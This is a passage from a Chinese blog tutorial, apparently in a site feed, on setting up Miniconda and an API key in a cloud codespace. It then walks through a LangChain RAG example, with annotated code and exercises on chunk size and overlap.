title="python环境配置:"></a>python环境配置:</h1><p>有了云端代码编辑器后我们直接在对应服务器内下载就好了,我们先回到上面配置的codespace代码编辑器</p><p>然后点击一下下面的终端</p><ol><li><p><strong>更新系统软件包</strong><br>在终端输入下面指令</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update </span><br><span class="line"><span class="built_in">sudo</span> apt upgrade -y</span><br></pre></td></tr></table></figure></li><li><p><strong>安装Miniconda</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh -O ~/miniconda.sh </span><br><span class="line">bash ~/miniconda.sh</span><br></pre></td></tr></table></figure><ul><li><p>按 Enter 阅读许可协议</p></li><li><p>输入 <code>yes</code> 同意协议</p></li><li><p>安装路径提示时直接按 Enter(使用默认路径 /home/ubuntu/miniconda3)</p></li><li><p>是否初始化Miniconda:输入 <code>yes</code> 将Miniconda添加到您的PATH环境变量中。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">source</span> ~/.bashrc conda --version</span><br></pre></td></tr></table></figure></li></ul><p>如果显示版本号,说明安装成功。</p></li></ol><h1 id="API配置"><a href="#API配置" class="headerlink" title="API配置"></a>API配置</h1><p>使用 <code>vim</code> 编辑器打开你的 shell 配置文件。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim ~/.bashrc</span><br></pre></td></tr></table></figure><p>输入 <code>i</code> 进入编辑模式,在文件末尾添加以下行,将 <code>你的大模型 API 密钥</code> 替换为你自己的密钥:</p><p>我这里用的是<a href="https://api.aihubmix.com/v1的接口,如果用的是其他厂家的api需要把openai_api_base字段改一下">https://api.aihubmix.com/v1的接口,如果用的是其他厂家的api需要把openai_api_base字段改一下</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> OPENAI_API_KEY=你的大模型密钥</span><br><span class="line"><span class="built_in">export</span> OPENAI_API_BASE=<span class="string">"https://api.aihubmix.com/v1"</span></span><br></pre></td></tr></table></figure><p>保存并退出 在 vim 中,按 Esc 键进入命令模式,然后输入 <code>:wq</code> 并按 Enter 键保存文件并退出。</p><p>使配置生效 执行以下命令来立即加载更新后的配置,让环境变量生效:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">source</span> ~/.bashrc</span><br></pre></td></tr></table></figure><h1 id="创建并激活虚拟环境"><a href="#创建并激活虚拟环境" class="headerlink" title="创建并激活虚拟环境"></a>创建并激活虚拟环境</h1><ol><li><p><strong>创建虚拟环境</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conda create --name all-in-rag python=3.12.7</span><br></pre></td></tr></table></figure><p>出现选项直接回车即可。</p></li><li><p><strong>激活虚拟环境</strong><br>使用以下命令激活虚拟环境:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conda activate all-in-rag</span><br></pre></td></tr></table></figure></li><li><p><strong>依赖安装</strong> 如果严格安装上述流程当前应该在项目根目录,进入code目录安装依赖库</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> code pip install -r requirements.txt</span><br></pre></td></tr></table></figure><blockquote><p>如果出现关于grpcio的版本错误无需在意。</p></blockquote></li></ol><h1 id="运行RAG示例代码"><a href="#运行RAG示例代码" class="headerlink" title="运行RAG示例代码"></a>运行RAG示例代码</h1><ol><li><p>激活环境(已经激活的不用激活)</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conda activate all-in-rag</span><br></pre></td></tr></table></figure></li><li><p>切换到项目目录</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 假设当前在 all-in-rag 项目的根目录下</span></span><br><span class="line"><span class="built_in">cd</span> code/C1</span><br></pre></td></tr></table></figure></li><li><p>完成上述所有设置后,就可以运行RAG示例了。<br>打开终端,确保虚拟环境已激活,然后执行以下命令:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python 01_langchain_example.py</span><br></pre></td></tr></table></figure><p>这里要注意,如果<strong>跟着之前官方文档配置这里可能会报错</strong>,因为代码写死了是openai的api,具体怎么配置看我上面的<a href="#API配置">API配置</a></p></li><li><p>代码运行后,可以看到类似下面的输出(格式化后):</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">Downloading Model from https://www.modelscope.cn to directory: Path\to\all-in-rag\models\bge-small-zh-v1.5</span><br><span class="line">2025-06-08 02:36:19,318 - modelscope - INFO - Target directory already exists, skipping creation.</span><br><span class="line">content=<span class="string">'</span></span><br><span class="line"><span class="string">基于提供的上下文,文中列举了以下例子:</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">1. **Atar 游戏 Breakout(打砖块)**:用于说明强化学习与监督学习的区别,以及数据非独立同分布、延迟反馈和延迟奖励等问题。</span></span><br><span class="line"><span class="string">2. **Pong 游戏**:用于说明强化学习智能体的决策过程以及策略网络(输出动作概率)。</span></span><br><span class="line"><span class="string">3. **自然界中的羚羊**:用于说明生物通过试错(通过不断探索站立和奔跑)来适应环境。</span></span><br><span class="line"><span class="string">4. **股票交易**:用于说明在金融市场中如何通过买卖股票并根据市场反馈来学习最大化奖励。</span></span><br><span class="line"><span class="string">5. **电子游戏**:用于说明通过不断试错来学会如何通关。</span></span><br><span class="line"><span class="string">6. **MountainCar-v0**:用于具体演示如何使用 Gym 库,包括观测空间、动作空间的定义以及代码实现。</span></span><br><span class="line"><span class="string">7. **Atar 游戏 Space Invaders**:用于说明免模型强化学习需要大量样本(如约两亿帧)才能取得理想效果。</span></span><br><span class="line"><span class="string">8. **选择餐馆**:用于类比“利用”(去熟悉的餐馆)和“探索”(尝试新餐馆)。</span></span><br><span class="line"><span class="string">9. **做广告**:用于类比“利用”(采取最优广告策略)和“探索”(尝试新的广告策略)。</span></span><br><span class="line"><span class="string">10. **挖油**:用于类比“利用”(在已知的地方挖油)和“探索”(在新的地方挖油)。</span></span><br><span class="line"><span class="string">11. **玩《街头霸王》游戏**:用于类比“利用”(采取某种固定策略)和“探索”(尝试新招式)。</span></span><br><span class="line"><span class="string">'</span></span><br><span class="line">additional_kwargs={<span class="string">'refusal'</span>: None}</span><br><span class="line">response_metadata={</span><br><span class="line"> <span class="string">'token_usage'</span>: {</span><br><span class="line"> <span class="string">'completion_tokens'</span>: 209,</span><br><span class="line"> <span class="string">'prompt_tokens'</span>: 5576,</span><br><span class="line"> <span class="string">'total_tokens'</span>: 5785,</span><br><span class="line"> <span class="string">'completion_tokens_details'</span>: None,</span><br><span class="line"> <span class="string">'prompt_tokens_details'</span>: {<span class="string">'audio_tokens'</span>: None, <span class="string">'cached_tokens'</span>: 5568},</span><br><span class="line"> <span class="string">'prompt_cache_hit_tokens'</span>: 5568,</span><br><span class="line"> <span class="string">'prompt_cache_miss_tokens'</span>: 8</span><br><span class="line"> },</span><br><span class="line"> <span class="string">'model_name'</span>: <span class="string">'deepseek-chat'</span>,</span><br><span class="line"> <span class="string">'system_fingerprint'</span>: <span class="string">'fp_8802369eaa_prod0425fp8'</span>,</span><br><span class="line"> <span class="string">'id'</span>: <span class="string">'67a0580d-78b1-44d6-bccf-f654ae0e9bba'</span>,</span><br><span class="line"> <span class="string">'service_tier'</span>: None,</span><br><span class="line"> <span class="string">'finish_reason'</span>: <span class="string">'stop'</span>,</span><br><span class="line"> <span class="string">'logprobs'</span>: None</span><br><span class="line">}</span><br><span class="line"><span class="built_in">id</span>=<span class="string">'run--919cedcd-771e-4aed-8dfd-cf436795792e-0'</span></span><br><span class="line">usage_metadata={</span><br><span class="line"> <span class="string">'input_tokens'</span>: 5576,</span><br><span class="line"> <span class="string">'output_tokens'</span>: 209,</span><br><span class="line"> <span class="string">'total_tokens'</span>: 5785,</span><br><span class="line"> <span class="string">'input_token_details'</span>: {<span class="string">'cache_read'</span>: 5568},</span><br><span class="line"> <span class="string">'output_token_details'</span>: {}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>输出参数解析:</p><ul><li><strong><code>content</code></strong>: 这是最核心的部分,即大型语言模型(LLM)根据你的问题和提供的上下文生成的具体回答。</li><li><strong><code>additional_kwargs</code></strong>: 包含一些额外的参数,在这个例子中是 <code>{'refusal': None}</code>,表示模型没有拒绝回答。</li><li><strong><code>response_metadata</code></strong>: 包含了关于LLM响应的元数据。<ul><li><code>token_usage</code>: 显示了本次调用消耗的token数量,包括完成(completion_tokens)、提示(prompt_tokens)和总量(total_tokens)。</li><li><code>model_name</code>: 使用的LLM模型名称,当前是 <code>deepseek-chat</code>。</li><li><code>system_fingerprint</code>, <code>id</code>, <code>service_tier</code>, <code>finish_reason</code>, <code>logprobs</code>: 这些是更详细的API响应信息,例如 <code>finish_reason: 'stop'</code> 表示模型正常完成了生成。</li></ul></li><li><strong><code>id</code></strong>: 本次运行的唯一标识符。</li><li><strong><code>usage_metadata</code></strong>: 与 <code>response_metadata</code> 中的 <code>token_usage</code> 类似,提供了输入和输出token的统计。</li></ul></li></ol><h1 id="详解代码逻辑:"><a href="#详解代码逻辑:" class="headerlink" title="详解代码逻辑:"></a>详解代码逻辑:</h1><p>原教程是把langchain和LlamaIndex的代码都拉出来对比了一下,我认为初学就掌握好langchain就够用了,而且时间可以最大化利用,所以这里只给出langchain的代码逻辑</p><p>在第一节中,我们知道四步构建最小可行系统分别是<strong>数据准备、索引构建、检索优化和生成集成</strong>。我们刚才运行的示例代码也正是基于这四步的逻辑构建的一个<strong>MVP(Minimum Viable Product(最小可行性产品))</strong></p><h2 id="第一步:数据准备与清洗-Data-Prep-amp-Chunking"><a href="#第一步:数据准备与清洗-Data-Prep-amp-Chunking" class="headerlink" title="第一步:数据准备与清洗 (Data Prep & Chunking)"></a>第一步:数据准备与清洗 (Data Prep & Chunking)</h2><p>这一步的核心任务是:把本地人类能看懂的文件,切成一块块大小合适、语义完整的碎片,准备喂给机器。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> dotenv <span class="keyword">import</span> load_dotenv</span><br><span class="line"><span class="keyword">from</span> langchain_community.document_loaders <span class="keyword">import</span> UnstructuredMarkdownLoader</span><br><span class="line"><span class="keyword">from</span> langchain_text_splitters <span class="keyword">import</span> RecursiveCharacterTextSplitter</span><br><span class="line"></span><br><span class="line">load_dotenv() <span class="comment"># 加载 .env 文件中的隐藏环境变量(如 API Key)</span></span><br><span class="line"></span><br><span class="line">markdown_path = <span class="string">"../../data/C1/markdown/easy-rl-chapter1.md"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 1. 加载本地文件</span></span><br><span class="line"><span class="comment"># 【AI 术语】:Loader(加载器)。它的作用是把各种奇奇怪怪的格式(PDF, MD, HTML)</span></span><br><span class="line"><span class="comment"># 统统扒掉格式外衣,变成纯文本(Plain Text)字符串。</span></span><br><span class="line">loader = UnstructuredMarkdownLoader(markdown_path)</span><br><span class="line">docs = loader.load()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 文本分块</span></span><br><span class="line"><span class="comment"># 【AI 术语】:Chunking(切块)。大模型记性有限(Token 窗口限制),整本书喂不进去。</span></span><br><span class="line"><span class="comment"># 这里的 Recursive (递归) 意思是:它会聪明地先尝试按段落切,不行再按句子切,</span></span><br><span class="line"><span class="comment"># 最大程度保证每一句话的意思不被从中间生生劈断。</span></span><br><span class="line">text_splitter = RecursiveCharacterTextSplitter() </span><br><span class="line">chunks = text_splitter.split_documents(docs) <span class="comment"># 此时,一整篇文章变成了很多个小 Chunk</span></span><br></pre></td></tr></table></figure><h2 id="第二步:索引构建-Indexing-amp-Vectorization"><a href="#第二步:索引构建-Indexing-amp-Vectorization" class="headerlink" title="第二步:索引构建 (Indexing & Vectorization)"></a>第二步:索引构建 (Indexing & Vectorization)</h2><p>这一步是 RAG 最具魔法感的一环:把纯文字变成高维数学数组,并存入数据库。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> langchain_huggingface <span class="keyword">import</span> HuggingFaceEmbeddings</span><br><span class="line"><span class="keyword">from</span> langchain_core.vectorstores <span class="keyword">import</span> InMemoryVectorStore</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 实例化中文嵌入模型</span></span><br><span class="line"><span class="comment"># 【AI 术语】:Embedding(嵌入/向量化)。这是大模型理解世界的底层语言。</span></span><br><span class="line"><span class="comment"># 它能把“苹果”变成 [0.1, 0.5, -0.2...] 这样的浮点数数组。</span></span><br><span class="line"><span class="comment"># 这里我们用的是 BAAI(北京智源人工智能研究院)开源的 bge-small 模型。</span></span><br><span class="line">embeddings = HuggingFaceEmbeddings(</span><br><span class="line"> model_name=<span class="string">"BAAI/bge-small-zh-v1.5"</span>, </span><br><span class="line"> model_kwargs={<span class="string">'device'</span>: <span class="string">'cpu'</span>}, <span class="comment"># 强制用电脑 CPU 跑这个小模型,不挑显卡</span></span><br><span class="line"> encode_kwargs={<span class="string">'normalize_embeddings'</span>: <span class="literal">True</span>} <span class="comment"># 归一化:让算相似度(查距离)变得更准更快</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 构建向量数据库并存入</span></span><br><span class="line"><span class="comment"># 【AI 术语】:Vector Store(向量库)。传统数据库搜关键词,向量库搜“意思相近”。</span></span><br><span class="line"><span class="comment"># InMemory 表示存放在电脑运行内存里,程序一关数据就没。只适合做极简 Demo。</span></span><br><span class="line">vectorstore = InMemoryVectorStore(embeddings) </span><br><span class="line"></span><br><span class="line"><span class="comment"># 把第一步切好的 chunks,经过 embeddings 变成一堆数字,存进数据库里!</span></span><br><span class="line">vectorstore.add_documents(chunks)</span><br></pre></td></tr></table></figure><h2 id="第三步:检索优化与召回-Retrieval"><a href="#第三步:检索优化与召回-Retrieval" class="headerlink" title="第三步:检索优化与召回 (Retrieval)"></a>第三步:检索优化与召回 (Retrieval)</h2><p>当用户提出问题时,如何从数据库里把最相关的几块文本“捞”出来。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 用户查询</span></span><br><span class="line">question = <span class="string">"文中举了哪些例子?"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 5. 在向量存储中查询相关文档</span></span><br><span class="line"><span class="comment"># 【AI 术语】:Similarity Search(相似度搜索)与 Top-K。</span></span><br><span class="line"><span class="comment"># 内部逻辑:先把 question 也 Embedding 成向量,然后去库里算距离(通常是余弦距离)。</span></span><br><span class="line"><span class="comment"># k=3 表示只把距离最近、最相关的 3 个 Chunk 捞出来,多了大模型看不过来,少了信息不够。</span></span><br><span class="line">retrieved_docs = vectorstore.similarity_search(question, k=<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 6. 把捞出来的 3 块碎片,用双换行符(\n\n)缝合拼接成一段长字符串</span></span><br><span class="line">docs_content = <span class="string">"\n\n"</span>.join(doc.page_content <span class="keyword">for</span> doc <span class="keyword">in</span> retrieved_docs)</span><br></pre></td></tr></table></figure><h2 id="第四步:生成与提示工程-Generation-amp-Prompting"><a href="#第四步:生成与提示工程-Generation-amp-Prompting" class="headerlink" title="第四步:生成与提示工程 (Generation & Prompting)"></a>第四步:生成与提示工程 (Generation & Prompting)</h2><p>将捞出来的知识与用户的问题打包在一起,用一种“命令”的口吻发给生成式大模型。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">from langchain_core.prompts import ChatPromptTemplate</span><br><span class="line">from langchain_openai import ChatOpenAI</span><br><span class="line"></span><br><span class="line"><span class="comment"># 7. 提示词模板设定</span></span><br><span class="line"><span class="comment"># 【AI 术语】:Prompt Engineering(提示工程)与 Grounding(信息挂载)。</span></span><br><span class="line"><span class="comment"># 大模型爱胡说八道(幻觉)。所以我们必须在模板里用强硬的语气要求它:</span></span><br><span class="line"><span class="comment"># “必须完全基于上下文!”、“找不到就说不知道!”</span></span><br><span class="line">prompt = ChatPromptTemplate.from_template(<span class="string">""</span><span class="string">"请根据下面提供的上下文信息来回答问题。</span></span><br><span class="line"><span class="string">请确保你的回答完全基于这些上下文。</span></span><br><span class="line"><span class="string">如果上下文中没有足够的信息来回答问题,请直接告知:“抱歉,我无法根据提供的上下文找到相关信息来回答此问题。”</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">上下文:</span></span><br><span class="line"><span class="string">{context}</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">问题: {question}</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">回答:"</span><span class="string">""</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 8. 配置大语言模型 (生成器)</span></span><br><span class="line"><span class="comment"># 【AI 术语】:LLM(大型语言模型)。负责最后的阅读理解和归纳总结。</span></span><br><span class="line">llm = ChatOpenAI(</span><br><span class="line"> model=<span class="string">"glm-4.7-flash-free"</span>, <span class="comment"># 指定用哪家公司的哪个版本的模型脑子</span></span><br><span class="line"> temperature=0.7, <span class="comment"># 【重要参数】温度值。0.0 最严谨保守,1.0 脑洞最大。RAG 场景通常设得低一点以求严谨。</span></span><br><span class="line"> max_tokens=4096, <span class="comment"># 允许模型一口气最多吐出多少字,防账单爆炸。</span></span><br><span class="line"> api_key=os.getenv(<span class="string">"OPENAI_API_KEY"</span>), <span class="comment"># 从环境中偷拿刚才我们设置好的大门钥匙</span></span><br><span class="line"> base_url=<span class="string">"[https://api.aihubmix.com/v1](https://api.aihubmix.com/v1)"</span> <span class="comment"># 告诉它别连美国,去连中转代理服务器</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 9. 最终调用与输出</span></span><br><span class="line"><span class="comment"># 将第 3 步拼接好的上下文(docs_content) 和问题(question) 填入模板,发给 LLM。</span></span><br><span class="line">answer = llm.invoke(prompt.format(question=question, context=docs_content))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 只打印模型吐出的纯净文本,剥离 Token 消耗等杂乱的元数据。</span></span><br><span class="line"><span class="built_in">print</span>(answer.content)</span><br></pre></td></tr></table></figure><h1 id="练习(可利用大模型辅助完成)"><a href="#练习(可利用大模型辅助完成)" class="headerlink" title="练习(可利用大模型辅助完成)"></a>练习(可利用大模型辅助完成)</h1><h2 id="Q1"><a href="#Q1" class="headerlink" title="Q1:"></a>Q1:</h2><blockquote><p>LangChain代码最终得到的输出携带了各种参数,查询相关资料尝试把这些参数过滤掉得到<code>content</code>里的具体回答。</p></blockquote><p>很简单,把最后的<code>print(answer)</code>改为<code>print(answer.content)</code>即可,这样输出结果只有大模型的输出内容</p><h2 id="Q2"><a href="#Q2" class="headerlink" title="Q2:"></a>Q2:</h2><blockquote><p>修改Langchain代码中<code>RecursiveCharacterTextSplitter()</code>的参数<code>chunk_size</code>和<code>chunk_overlap</code>,观察输出结果有什么变化。</p></blockquote><p>LangChain 默认的 <code>chunk_size</code> 通常是 4000,<code>chunk_overlap</code> 是 200。如果你不在括号里写,它就按默认的来。</p><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 文本分块</span></span><br><span class="line">text_splitter = RecursiveCharacterTextSplitter()</span><br></pre></td></tr></table></figure><p><strong>修改后:</strong></p><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 文本分块:明确指定参数</span></span><br><span class="line">text_splitter = RecursiveCharacterTextSplitter(</span><br><span class="line"> chunk_size=<span class="number">100</span>, <span class="comment"># 【改动1】:限制每个“块”最多只能有 100 个字符</span></span><br><span class="line"> chunk_overlap=<span class="number">20</span> <span class="comment"># 【改动2】:让相邻的两个“块”之间保留 20 个字的重叠</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">chunks = text_splitter.split_documents(docs)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 【附加代码】:为了观察变化,我们可以打印前 3 个切块出来看看</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">"\n--- 观察切块结果 ---"</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">min</span>(<span class="number">3</span>, <span class="built_in">len</span>(chunks))):</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"第 <span class="subst">{i+<span class="number">1</span>}</span> 块 (长度: <span class="subst">{<span class="built_in">len</span>(chunks[i].page_content)}</span>字):"</span>)</span><br><span class="line"> <span class="built_in">print</span>(chunks[i].page_content)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"-"</span> * <span class="number">20</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">"--------------------\n"</span>)</span><br></pre></td></tr></table></figure><h3 id="这两个参数是什么意思"><a href="#这两个参数是什么意思" class="headerlink" title="这两个参数是什么意思"></a>这两个参数是什么意思</h3><ul><li><p><strong><code>chunk_size</code> (切块大小)</strong>:也就是“你的框有多大”。</p><ul><li><p><strong>如果设得太大(比如 2000)</strong>:大模型一次性吃进太多文字,容易犯迷糊(专业术语叫“注意力涣散”),找不到重点。</p></li><li><p><strong>如果设得太小(比如 50)</strong>:一句话还没说完就被切断了。比如上一块写了“孙悟空”,下一块只切到了“打妖怪”,大模型就不知道是谁在打妖怪了(专业术语叫“上下文语义丢失”)。</p></li></ul></li><li><p><strong><code>chunk_overlap</code> (重叠大小)</strong>:也就是“承上启下的胶水”。</p><ul><li><p>就像你翻页看书,通常会扫一眼上一页的最后半句话,才能连贯起来。</p></li><li><p>设置 Overlap 就是为了防止一刀切在关键句子的中间。这 20 个字的重叠,能让前后两个 Chunk 保持语义的连贯。</p></li></ul></li></ul><h3 id="输出结果:"><a href="#输出结果:" class="headerlink" title="输出结果:"></a>输出结果:</h3><p><img data-src="/images/AI/code/RAG/3/Q2.png" alt="Q2"></p><p>我们很明显看到输出不全,而且只输出了“街头霸王这一个例子”,下面我们分析一下:</p><h3 id="为什么会这样?(RAG-漏斗原理解析)"><a href="#为什么会这样?(RAG-漏斗原理解析)" class="headerlink" title="为什么会这样?(RAG 漏斗原理解析)"></a>为什么会这样?(RAG 漏斗原理解析)</h3><p>还记得我们代码里的【第三步:检索优化与召回】吗?有这样一行极其关键的代码: <code>retrieved_docs = vectorstore.similarity_search(question, k=3)</code></p><p>这里的 <strong><code>k=3</code></strong> 就是导致“只剩街头霸王”的罪魁祸首!你的 RAG 系统经历了一个漏斗:</p><ol><li><p><strong>第一步(切得太碎)</strong>:你把一整篇文章,用 <code>chunk_size=100</code> 切成了几百个极其细小的碎纸片。</p></li><li><p><strong>第二步(只捞 3 块)</strong>:系统拿着你的问题“文中举了哪些例子?”,去这几百个碎纸片里找最相关的。因为它规定了 <strong><code>k=3</code></strong>,所以它<strong>只拿出了得分最高的前 3 张小纸片</strong>。</p></li><li><p><strong>第三步(喂给模型)</strong>:这 3 张小纸片加起来一共也就不到 300 个字。恰好,这 3 张纸片上写的是“选餐馆”和“街头霸王”。那些写着“羚羊”、“股票”的纸片虽然也是例子,但没挤进前 3 名,直接被扔在了数据库里</p></li><li><p><strong>第四步(模型作答)</strong>:我们在 Prompt 里严厉警告过大模型:“_请确保你的回答完全基于这些上下文_”。大模型很听话,它看了看这 3 张纸片,发现只有两个例子,于是就只回答了这两个。</p></li></ol>]]></content>
<summary type="html"><h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>本节学习windows全环境RAG项目学习配置,配置完后就可以开始正式学习了</p>
<h1 id="大模型-API-配置"><a </summary>
<category term="AI" scheme="http://example.com/categories/AI/"/>
<category term="开发" scheme="http://example.com/categories/AI/%E5%BC%80%E5%8F%91/"/>
<category term="RAG" scheme="http://example.com/categories/AI/%E5%BC%80%E5%8F%91/RAG/"/>
<category term="AI开发" scheme="http://example.com/tags/AI%E5%BC%80%E5%8F%91/"/>
<category term="RAG" scheme="http://example.com/tags/RAG/"/>
<category term="环境配置" scheme="http://example.com/tags/%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/"/>
</entry>
<entry>
<title>RAG底层原理2:RAG 理论基石</title>
<link href="http://example.com/2026/04/25/AI/code/RAG/RAG%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%862_RAG%E7%90%86%E8%AE%BA%E5%9F%BA%E7%9F%B3/"/>
<id>http://example.com/2026/04/25/AI/code/RAG/RAG%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%862_RAG%E7%90%86%E8%AE%BA%E5%9F%BA%E7%9F%B3/</id>
<published>2026-04-25T03:00:00.000Z</published>
<updated>2026-04-26T14:01:53.170Z</updated>
